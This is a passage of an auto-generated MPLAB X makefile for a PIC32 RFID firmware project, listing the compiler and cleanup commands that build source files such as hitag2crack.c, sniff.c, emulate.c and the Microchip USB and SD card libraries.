@${FIXDEPS} "${OBJECTDIR}/src/vtag.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/vtag.o.d" -o ${OBJECTDIR}/src/vtag.o src/vtag.c
${OBJECTDIR}/src/config.o: src/config.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/config.o.d
@${RM} ${OBJECTDIR}/src/config.o
@${FIXDEPS} "${OBJECTDIR}/src/config.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/config.o.d" -o ${OBJECTDIR}/src/config.o src/config.c
${OBJECTDIR}/src/select.o: src/select.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/select.o.d
@${RM} ${OBJECTDIR}/src/select.o
@${FIXDEPS} "${OBJECTDIR}/src/select.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/select.o.d" -o ${OBJECTDIR}/src/select.o src/select.c
${OBJECTDIR}/src/sdcard.o: src/sdcard.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/sdcard.o.d
@${RM} ${OBJECTDIR}/src/sdcard.o
@${FIXDEPS} "${OBJECTDIR}/src/sdcard.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/sdcard.o.d" -o ${OBJECTDIR}/src/sdcard.o src/sdcard.c
${OBJECTDIR}/src/debug_pins.o: src/debug_pins.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/debug_pins.o.d
@${RM} ${OBJECTDIR}/src/debug_pins.o
@${FIXDEPS} "${OBJECTDIR}/src/debug_pins.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/debug_pins.o.d" -o ${OBJECTDIR}/src/debug_pins.o src/debug_pins.c
${OBJECTDIR}/src/awid.o: src/awid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/awid.o.d
@${RM} ${OBJECTDIR}/src/awid.o
@${FIXDEPS} "${OBJECTDIR}/src/awid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/awid.o.d" -o ${OBJECTDIR}/src/awid.o src/awid.c
${OBJECTDIR}/src/analogue.o: src/analogue.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/analogue.o.d
@${RM} ${OBJECTDIR}/src/analogue.o
@${FIXDEPS} "${OBJECTDIR}/src/analogue.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/analogue.o.d" -o ${OBJECTDIR}/src/analogue.o src/analogue.c
${OBJECTDIR}/src/iso7816.o: src/iso7816.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/iso7816.o.d
@${RM} ${OBJECTDIR}/src/iso7816.o
@${FIXDEPS} "${OBJECTDIR}/src/iso7816.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/iso7816.o.d" -o ${OBJECTDIR}/src/iso7816.o src/iso7816.c
${OBJECTDIR}/src/t55x7.o: src/t55x7.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/t55x7.o.d
@${RM} ${OBJECTDIR}/src/t55x7.o
@${FIXDEPS} "${OBJECTDIR}/src/t55x7.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/t55x7.o.d" -o ${OBJECTDIR}/src/t55x7.o src/t55x7.c
${OBJECTDIR}/src/sniff.o: src/sniff.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/sniff.o.d
@${RM} ${OBJECTDIR}/src/sniff.o
@${FIXDEPS} "${OBJECTDIR}/src/sniff.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/sniff.o.d" -o ${OBJECTDIR}/src/sniff.o src/sniff.c
${OBJECTDIR}/src/tamagotchi.o: src/tamagotchi.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/tamagotchi.o.d
@${RM} ${OBJECTDIR}/src/tamagotchi.o
@${FIXDEPS} "${OBJECTDIR}/src/tamagotchi.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/tamagotchi.o.d" -o ${OBJECTDIR}/src/tamagotchi.o src/tamagotchi.c
${OBJECTDIR}/src/hdx.o: src/hdx.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hdx.o.d
@${RM} ${OBJECTDIR}/src/hdx.o
@${FIXDEPS} "${OBJECTDIR}/src/hdx.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hdx.o.d" -o ${OBJECTDIR}/src/hdx.o src/hdx.c
${OBJECTDIR}/src/hitag2crack.o: src/hitag2crack.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitag2crack.o.d
@${RM} ${OBJECTDIR}/src/hitag2crack.o
@${FIXDEPS} "${OBJECTDIR}/src/hitag2crack.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitag2crack.o.d" -o ${OBJECTDIR}/src/hitag2crack.o src/hitag2crack.c
${OBJECTDIR}/src/paxton.o: src/paxton.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/paxton.o.d
@${RM} ${OBJECTDIR}/src/paxton.o
@${FIXDEPS} "${OBJECTDIR}/src/paxton.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/paxton.o.d" -o ${OBJECTDIR}/src/paxton.o src/paxton.c
else
${OBJECTDIR}/_ext/1209914024/FSIO.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\ File\ System/FSIO.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1209914024"
@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o.d
@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1209914024/FSIO.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1209914024/FSIO.o.d" -o ${OBJECTDIR}/_ext/1209914024/FSIO.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c"
${OBJECTDIR}/_ext/1209914024/SD-SPI.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\ File\ System/SD-SPI.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1209914024"
@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d
@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d" -o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c"
${OBJECTDIR}/_ext/1019771169/SClib.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\ Card/SClib.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1019771169"
@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o.d
@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1019771169/SClib.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1019771169/SClib.o.d" -o ${OBJECTDIR}/_ext/1019771169/SClib.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c"
${OBJECTDIR}/_ext/1019771169/SCpic32.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\ Card/SCpic32.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1019771169"
@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d
@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1019771169/SCpic32.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1019771169/SCpic32.o.d" -o ${OBJECTDIR}/_ext/1019771169/SCpic32.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c"
${OBJECTDIR}/_ext/631258897/usb_function_cdc.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC\ Device\ Driver/usb_function_cdc.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/631258897"
@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d
@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o
@${FIXDEPS} "${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d" -o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c"
${OBJECTDIR}/_ext/186742988/usb_device.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/186742988"
@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o.d
@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o
@${FIXDEPS} "${OBJECTDIR}/_ext/186742988/usb_device.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/186742988/usb_device.o.d" -o ${OBJECTDIR}/_ext/186742988/usb_device.o /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c
${OBJECTDIR}/src/indala.o: src/indala.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/indala.o.d
@${RM} ${OBJECTDIR}/src/indala.o
@${FIXDEPS} "${OBJECTDIR}/src/indala.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/indala.o.d" -o ${OBJECTDIR}/src/indala.o src/indala.c
${OBJECTDIR}/src/main.o: src/main.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/main.o.d
@${RM} ${OBJECTDIR}/src/main.o
@${FIXDEPS} "${OBJECTDIR}/src/main.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/main.o.d" -o ${OBJECTDIR}/src/main.o src/main.c
${OBJECTDIR}/src/psk.o: src/psk.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/psk.o.d
@${RM} ${OBJECTDIR}/src/psk.o
@${FIXDEPS} "${OBJECTDIR}/src/psk.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/psk.o.d" -o ${OBJECTDIR}/src/psk.o src/psk.c
${OBJECTDIR}/src/usb_descriptors.o: src/usb_descriptors.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/usb_descriptors.o.d
@${RM} ${OBJECTDIR}/src/usb_descriptors.o
@${FIXDEPS} "${OBJECTDIR}/src/usb_descriptors.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/usb_descriptors.o.d" -o ${OBJECTDIR}/src/usb_descriptors.o src/usb_descriptors.c
${OBJECTDIR}/src/util.o: src/util.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/util.o.d
@${RM} ${OBJECTDIR}/src/util.o
@${FIXDEPS} "${OBJECTDIR}/src/util.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/util.o.d" -o ${OBJECTDIR}/src/util.o src/util.c
${OBJECTDIR}/src/emulate.o: src/emulate.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/emulate.o.d
@${RM} ${OBJECTDIR}/src/emulate.o
@${FIXDEPS} "${OBJECTDIR}/src/emulate.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/emulate.o.d" -o ${OBJECTDIR}/src/emulate.o src/emulate.c
${OBJECTDIR}/src/ask.o: src/ask.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/ask.o.d
@${RM} ${OBJECTDIR}/src/ask.o
@${FIXDEPS} "${OBJECTDIR}/src/ask.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/ask.o.d" -o ${OBJECTDIR}/src/ask.o src/ask.c
${OBJECTDIR}/src/fsk.o: src/fsk.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/fsk.o.d
@${RM} ${OBJECTDIR}/src/fsk.o
@${FIXDEPS} "${OBJECTDIR}/src/fsk.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/fsk.o.d" -o ${OBJECTDIR}/src/fsk.o src/fsk.c
${OBJECTDIR}/src/clock.o: src/clock.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/clock.o.d
@${RM} ${OBJECTDIR}/src/clock.o
